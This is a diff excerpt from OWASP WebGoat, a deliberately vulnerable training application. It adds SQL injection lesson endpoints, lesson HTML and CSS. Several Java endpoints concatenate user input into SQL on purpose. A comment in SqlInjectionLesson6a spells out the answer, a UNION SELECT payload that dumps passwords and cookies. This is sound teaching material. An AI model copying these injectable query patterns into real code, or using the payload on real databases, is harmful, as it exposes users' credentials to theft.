package org.owasp.webgoat.plugin.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.sql.*;
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/SqlInjection/attack5b")
@AssignmentHints(value = {"SqlStringInjectionHint1", "SqlStringInjectionHint2", "SqlStringInjectionHint3", "SqlStringInjectionHint4"})
public class SqlInjectionLesson5b extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public
@ResponseBody
AttackResult completed(@RequestParam String userid, HttpServletRequest request) throws IOException {
return injectableQuery(userid);
}
protected AttackResult injectableQuery(String accountName) {
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = "SELECT * FROM user_data WHERE userid = " + accountName;
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) {
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuffer output = new StringBuffer();
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6) {
return trackProgress(success().feedback("sql-injection.5b.success").feedbackArgs(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString()).build());
}
} else {
return trackProgress(failed().feedback("sql-injection.5b.no.results").build());
// output.append(getLabelManager().get("NoResultsMatched"));
}
} catch (SQLException sqle) {
return trackProgress(failed().output(sqle.getMessage()).build());
}
} catch (Exception e) {
e.printStackTrace();
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
}
}
}

View File

@ -0,0 +1,97 @@
package org.owasp.webgoat.plugin.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.sql.*;
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/SqlInjection/attack6a")
@AssignmentHints(value = {"SqlStringInjectionHint5", "SqlStringInjectionHint6", "SqlStringInjectionHint7"})
public class SqlInjectionLesson6a extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public
@ResponseBody
AttackResult completed(@RequestParam String userid_6a) throws IOException {
return injectableQuery(userid_6a);
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
}
protected AttackResult injectableQuery(String accountName) {
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first())) {
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuffer output = new StringBuffer();
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 5) {
return trackProgress(success().feedback("sql-injection.6a.success").feedbackArgs(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString()).build());
}
} else {
return trackProgress(failed().feedback("sql-injection.6a.no.results").build());
}
} catch (SQLException sqle) {
return trackProgress(failed().output(sqle.getMessage()).build());
}
} catch (Exception e) {
e.printStackTrace();
return trackProgress(failed().output(this.getClass().getName() + " : " + e.getMessage()).build());
}
}
}

View File

@ -1,5 +1,5 @@
package org.owasp.webgoat.plugin;
package org.owasp.webgoat.plugin.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
@ -10,7 +10,6 @@ import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
@ -18,77 +17,71 @@ import java.sql.SQLException;
import java.sql.Statement;
/***************************************************************************************************
*
*
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
*
* Getting Source ==============
*
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
*
* For details, please see http://webgoat.github.io
*
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/SqlInjection/attack6b")
public class SqlInjectionLesson6b extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public @ResponseBody AttackResult completed(@RequestParam String userid_6b, HttpServletRequest request) throws IOException {
if (userid_6b.toString().equals(getPassword())) {
return trackProgress(success().build());
} else {
return trackProgress(failed().build());
}
}
@RequestMapping(method = RequestMethod.POST)
@ResponseBody
public AttackResult completed(@RequestParam String userid_6b) throws IOException {
if (userid_6b.toString().equals(getPassword())) {
return trackProgress(success().build());
} else {
return trackProgress(failed().build());
}
}
protected String getPassword()
{
String password="dave";
try
{
protected String getPassword() {
String password = "dave";
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'";
try
{
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
if ((results != null) && (results.first() == true)) {
password = results.getString("password");
}
} catch (SQLException sqle)
{
sqle.printStackTrace();
// do nothing
} catch (SQLException sqle) {
sqle.printStackTrace();
// do nothing
}
} catch (Exception e)
{
e.printStackTrace();
// do nothing
} catch (Exception e) {
e.printStackTrace();
// do nothing
}
return (password);
}

View File

@ -0,0 +1,56 @@
package org.owasp.webgoat.plugin.mitigation;
import com.google.common.collect.Lists;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.SneakyThrows;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.util.List;
/**
* @author nbaars
* @since 6/13/17.
*/
@RestController
@RequestMapping("SqlInjection/servers")
public class Servers {
@AllArgsConstructor
@Getter
private class Server {
private String id;
private String hostname;
private String ip;
private String mac;
private String status;
private String description;
}
@Autowired
private WebSession webSession;
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
@SneakyThrows
@ResponseBody
public List<Server> sort(@RequestParam String column) {
Connection connection = DatabaseUtilities.getConnection(webSession);
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column);
ResultSet rs = preparedStatement.executeQuery();
List<Server> servers = Lists.newArrayList();
while (rs.next()) {
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
servers.add(server);
}
return servers;
}
}

View File

@ -0,0 +1,46 @@
package org.owasp.webgoat.plugin.mitigation;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.sql.*;
/**
* @author nbaars
* @since 6/13/17.
*/
@AssignmentPath("SqlInjection/attack12a")
@AssignmentHints(value = {"SqlStringInjectionHint8", "SqlStringInjectionHint9", "SqlStringInjectionHint10", "SqlStringInjectionHint11"})
@Slf4j
public class SqlInjectionLesson12a extends AssignmentEndpoint {
@Autowired
private WebSession webSession;
@RequestMapping(method = RequestMethod.POST)
@ResponseBody
@SneakyThrows
public AttackResult completed(@RequestParam String ip) {
Connection connection = DatabaseUtilities.getConnection(webSession);
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ?");
preparedStatement.setString(1, ip);
ResultSet resultSet = preparedStatement.executeQuery();
if (resultSet.next()) {
return trackProgress(success().build());
}
return trackProgress(failed().build());
}
}

View File

@ -0,0 +1,63 @@
package org.owasp.webgoat.plugin.mitigation;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.ArrayList;
import java.util.List;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since October 12, 2016
*/
public class SqlInjectionMitigations extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.INJECTION;
}
@Override
public List<String> getHints() {
return new ArrayList<>();
}
@Override
public Integer getDefaultRanking() {
return 1;
}
@Override
public String getTitle() {
return "SQL Injection (mitigations)";
}
@Override
public String getId() {
return "SqlInjectionMitigations";
}
}

View File

@ -0,0 +1,96 @@
.panel-login {
border-color: #ccc;
-webkit-box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2);
-moz-box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2);
box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2);
}
.panel-login>.panel-heading {
color: #00415d;
background-color: #fff;
border-color: #fff;
text-align:center;
}
.panel-login>.panel-heading a{
text-decoration: none;
color: #666;
font-weight: bold;
font-size: 15px;
-webkit-transition: all 0.1s linear;
-moz-transition: all 0.1s linear;
transition: all 0.1s linear;
}
.panel-login>.panel-heading a.active{
color: #029f5b;
font-size: 18px;
}
.panel-login>.panel-heading hr{
margin-top: 10px;
margin-bottom: 0px;
clear: both;
border: 0;
height: 1px;
background-image: -webkit-linear-gradient(left,rgba(0, 0, 0, 0),rgba(0, 0, 0, 0.15),rgba(0, 0, 0, 0));
background-image: -moz-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0));
background-image: -ms-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0));
background-image: -o-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0));
}
.panel-login input[type="text"],.panel-login input[type="email"],.panel-login input[type="password"] {
height: 45px;
border: 1px solid #ddd;
font-size: 16px;
-webkit-transition: all 0.1s linear;
-moz-transition: all 0.1s linear;
transition: all 0.1s linear;
}
.panel-login input:hover,
.panel-login input:focus {
outline:none;
-webkit-box-shadow: none;
-moz-box-shadow: none;
box-shadow: none;
border-color: #ccc;
}
.btn-login {
background-color: #59B2E0;
outline: none;
color: #fff;
font-size: 14px;
height: auto;
font-weight: normal;
padding: 14px 0;
text-transform: uppercase;
border-color: #59B2E6;
}
.btn-login:hover,
.btn-login:focus {
color: #fff;
background-color: #53A3CD;
border-color: #53A3CD;
}
.forgot-password {
text-decoration: underline;
color: #888;
}
.forgot-password:hover,
.forgot-password:focus {
text-decoration: underline;
color: #666;
}
.btn-register {
background-color: #1CB94E;
outline: none;
color: #fff;
font-size: 14px;
height: auto;
font-weight: normal;
padding: 14px 0;
text-transform: uppercase;
border-color: #1CB94A;
}
.btn-register:hover,
.btn-register:focus {
color: #fff;
background-color: #1CA347;
border-color: #1CA347;
}

View File

@ -3,54 +3,33 @@
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_plan.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content1.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content2.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content3.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content4.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content5.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content5a.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/SqlInjection/attack5a"
@ -64,23 +43,15 @@
</tr>
</table>
</form>
<!-- do not remove the two following div's, this is where your feedback/output will land -->
<div class="attack-feedback"></div>
<div class="attack-output"></div>
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
</div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content5b.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/SqlInjection/attack5b"
@ -95,119 +66,9 @@
</tr>
</table>
</form>
<!-- do not remove the two following div's, this is where your feedback/output will land -->
<div class="attack-feedback"></div>
<div class="attack-output"></div>
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
</div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content6.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content6a.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/SqlInjection/attack6a"
enctype="application/json;charset=UTF-8">
<table>
<tr>
<td>Name:</td>
<td><input name="userid_6a" value="" type="TEXT"/></td>
<td><input
name="Get Account Info" value="Get Account Info" type="SUBMIT"/></td>
<td></td>
</tr>
</table>
</form>
<!-- do not remove the two following div's, this is where your feedback/output will land -->
<div class="attack-feedback"></div>
<div class="attack-output"></div>
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
</div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/SqlInjection/attack6b"
enctype="application/json;charset=UTF-8">
<table>
<tr>
<td>Password:</td>
<td><input name="userid_6b" value="" type="TEXT"/></td>
<td><input
name="Check Dave's Password:" value="Check Password" type="SUBMIT"/></td>
<td></td>
</tr>
</table>
</form>
<!-- do not remove the two following div's, this is where your feedback/output will land -->
<div class="attack-feedback"></div>
<div class="attack-output"></div>
<!-- ... of course, you can move them if you want to, but that will not look consistent to other lessons -->
</div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content7.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content8.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content9.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content10.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content11.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content12.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:SqlInjection_content13.adoc"></div>
</div>
</html>

View File

@ -0,0 +1,166 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjectionAdvanced_plan.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content6.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content6a.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/SqlInjection/attack6a"
enctype="application/json;charset=UTF-8">
<table>
<tr>
<td>Name:</td>
<td><input name="userid_6a" value="" type="TEXT"/></td>
<td><input
name="Get Account Info" value="Get Account Info" type="SUBMIT"/></td>
<td></td>
</tr>
</table>
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/SqlInjection/attack6b"
enctype="application/json;charset=UTF-8">
<table>
<tr>
<td>Password:</td>
<td><input name="userid_6b" value="" type="TEXT"/></td>
<td><input
name="Check Dave's Password:" value="Check Password" type="SUBMIT"/></td>
<td></td>
</tr>
</table>
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content6c.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_challenge.adoc"></div>
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/challenge.css}"/>
<script th:src="@{/lesson_js/challenge.js}" language="JavaScript"></script>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid">
<div class="row">
<div class="col-md-6">
<div class="panel panel-login">
<div class="panel-heading">
<div class="row">
<div class="col-xs-6">
<a href="#" class="active" id="login-form-link">Login</a>
</div>
<div class="col-xs-6">
<a href="#" id="register-form-link">Register</a>
</div>
</div>
<hr/>
</div>
<div class="panel-body">
<div class="row">
<div class="col-lg-12">
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="SqlInjection/attack7"
enctype="application/json;charset=UTF-8" role="form">
<div class="form-group">
<input type="text" name="username_login" id="username4" tabindex="1"
class="form-control" placeholder="Username" value=""/>
</div>
<div class="form-group">
<input type="password" name="password_login" id="password4" tabindex="2"
class="form-control" placeholder="Password"/>
</div>
<div class="form-group text-center">
<input type="checkbox" tabindex="3" class="" name="remember" id="remember"/>
<label for="remember"> Remember me</label>
</div>
<div class="form-group">
<div class="row">
<div class="col-sm-6 col-sm-offset-3">
<input type="submit" name="login-submit" id="login-submit"
tabindex="4" class="form-control btn-primary"
value="Log In"/>
</div>
</div>
</div>
<div class="form-group">
<div class="row">
<div class="col-lg-12">
<div class="text-center">
<a href="#" tabindex="5" class="forgot-password">Forgot
Password?</a>
</div>
</div>
</div>
</div>
</form>
<form id="register-form" class="attack-form" accept-charset="UNKNOWN"
method="PUT" name="form"
action="SqlInjection/attack7"
enctype="application/json;charset=UTF-8" style="display: none;" role="form">
<div class="form-group">
<input type="text" name="username_reg" id="username" tabindex="1"
class="form-control" placeholder="Username" value=""/>
</div>
<div class="form-group">
<input type="email" name="email_reg" id="email" tabindex="1"
class="form-control" placeholder="Email Address" value=""/>
</div>
<div class="form-group">
<input type="password" name="password_reg" id="password" tabindex="2"
class="form-control" placeholder="Password"/>
</div>
<div class="form-group">
<input type="password" name="confirm_password_reg" id="confirm-password"
tabindex="2" class="form-control" placeholder="Confirm Password"/>
</div>
<div class="form-group">
<div class="row">
<div class="col-sm-6 col-sm-offset-3">
<input type="submit" name="register-submit" id="register-submit"
tabindex="4" class="form-control btn btn-primary"
value="Register Now"/>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<br/>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -0,0 +1,112 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content7.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content8.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content9.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content10.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content11.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content12.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content12a.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_order_by.adoc"></div>
<script th:src="@{/lesson_js/assignment12.js}" language="JavaScript"></script>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/SqlInjection/attack12a"
enctype="application/json;charset=UTF-8">
<div class="container-fluid">
<div class="row">
<div class="panel panel-primary">
